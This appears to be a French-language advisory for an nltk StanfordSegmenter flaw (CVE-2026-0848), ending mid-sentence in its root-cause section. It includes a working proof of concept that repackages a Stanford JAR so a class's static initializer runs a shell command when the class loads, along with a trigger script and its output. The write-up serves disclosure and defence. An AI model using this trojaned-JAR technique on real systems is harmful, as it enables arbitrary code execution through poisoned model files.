
nltk.tokenize.StanfordSegmenter charge dynamiquement des fichiers .jar Java externes sans vérification ni sandboxing. Si un attaquant peut fournir ou remplacer le JAR (par exemple, un téléchargement de modèle empoisonné, un échange de paquet MITM ou un empoisonnement des dépendances), du bytecode Java arbitraire s'exécute au moment de l'importation.
| Champ | Détails |
|---|---|
| ID CVE | CVE-2026-0848 |
| Paquet | nltk (Natural Language Toolkit) |
| Registre | PyPI |
| Versions affectées | <= 3.9.2 |
| Type de vulnérabilité | CWE-20 : validation inappropriée des entrées |
| Score CVSS | 10.0 (Critique) |
| Vecteur d'attaque | Réseau |
| Complexité de l'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Portée | Modifiée |
| Impact sur la confidentialité | Élevé |
| Impact sur l'intégrité | Élevé |
| Impact sur la disponibilité | Élevé |
| Signalée le | 6 décembre 2025 |
| CVE publiée le | mars 2026 |
| Soutenu par | Palo Alto Networks / Prisma AIRS |
nltk.tokenize.StanfordSegmenter charge dynamiquement des fichiers Java .jar externes via subprocess sans effectuer de vérification d'intégrité, de contrôle de signature ni de sandboxing. La classe accepte des paramètres entièrement contrôlés par l'attaquant, notamment path_to_jar, path_to_model, path_to_dict et java_class, et les transmet directement à une invocation java -cp.
Si un attaquant peut fournir ou remplacer le fichier JAR — via un téléchargement de modèle empoisonné, un échange de paquet par interception (man-in-the-middle), un empoisonnement de dépendance ou un miroir de version corrompu — du bytecode Java arbitraire s'exécute au moment du chargement de la classe via le mécanisme d'initialisation statique de la JVM. Cela constitue une vulnérabilité d'exécution de code à distance (RCE) via la chaîne d'approvisionnement et échappe complètement à l'environnement d'exécution Python.
| Fichier | Lignes | Description |
|---|---|---|
nltk/tokenize/stanford_segmenter.py | L53–L118 | Accepte les paramètres contrôlés par l'attaquant path_to_jar, path_to_model, path_to_dict et java_class sans aucune validation |
nltk/internals.py | L220–L300 | Lance l'exécution de Java directement avec un chemin de JAR et un classpath contrôlés par l'utilisateur, sans sandboxing ni vérification de somme de contrôle |
nltk/internals.py | L109–L152 | subprocess.Popen() exécute Java avec une entrée de classpath non validée, permettant à la JVM de charger du bytecode arbitraire et d'exécuter des initialiseurs statiques |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
| Métrique | Valeur |
|---|---|
| Vecteur d'attaque | Réseau |
| Complexité de l'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Portée | Modifiée |
| Confidentialité | Élevée |
| Intégrité | Élevée |
| Disponibilité | Élevée |
Une exploitation réussie donne à un attaquant un contrôle total sur le système exécutant le processus de segmentation NLTK :
Runtime.getRuntime().exec() ou ProcessBuilder pour exécuter des commandes shell arbitraires| Scénario | Impact |
|---|---|
| Un chercheur en ML charge un segmentateur pré-entraîné depuis Internet | Un attaquant distant obtient l'exécution de code |
| L'organisation télécharge un ZIP de modèle de segmentation chinois corrompu | Un logiciel malveillant s'exécute dans le pipeline NLP de production |
Le serveur CI/CD installe le modèle via wget/unzip depuis un miroir non-HTTPS | Compromission complète de l'environnement |
| Prise de contrôle de dépendance ou miroir de version empoisonné | RCE complète de la chaîne d'approvisionnement |
Cette vulnérabilité affecte tout flux de travail NLP utilisant StanfordSegmenter, notamment les chatbots, les pipelines de prétraitement de LLM, la segmentation de jeux de données, la classification de documents et les services d'inférence en production.
Ces informations sont fournies à des fins éducatives et défensives uniquement. Ne testez pas sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite.
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class
cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;
public class CRFClassifier {
static {
try {
System.out.println("\nPayload executed — Code ran on class load!\n");
Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
} catch(Exception e){}
}
public static void main(String[] args){}
}
EOF
javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter
print("[+] Triggering payload via modified Stanford JAR...")
seg = StanfordSegmenter(
path_to_jar="stanford-segmenter.jar",
path_to_sihan_corpora_dict="./data/",
path_to_dict="./data/dict-chris6.ser.gz",
path_to_model="./data/pku.gz",
java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
encoding="utf-8"
)
print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))
Sortie :
[+] Triggering payload via modified Stanford JAR...
Payload executed — Code ran on class load!
[+] Running segmentation...
我 爱 自然语言 处理
Confirmer la RCE :
ls /tmp | grep pwned_hijack
# pwned_hijack
La vulnérabilité existe dans deux fichiers :
stanford_segmenter.py — Le constructeur de la classe StanfordSegmenter accepte path_to_jar, path_to_model, path_to_dict et java_class comme simples arguments de chaîne et les transmet directement à la couche d'exécution Java sans effectuer aucune des opérations suivantes :
java_class par rapport à un ensemble connu de noms de classes sûrs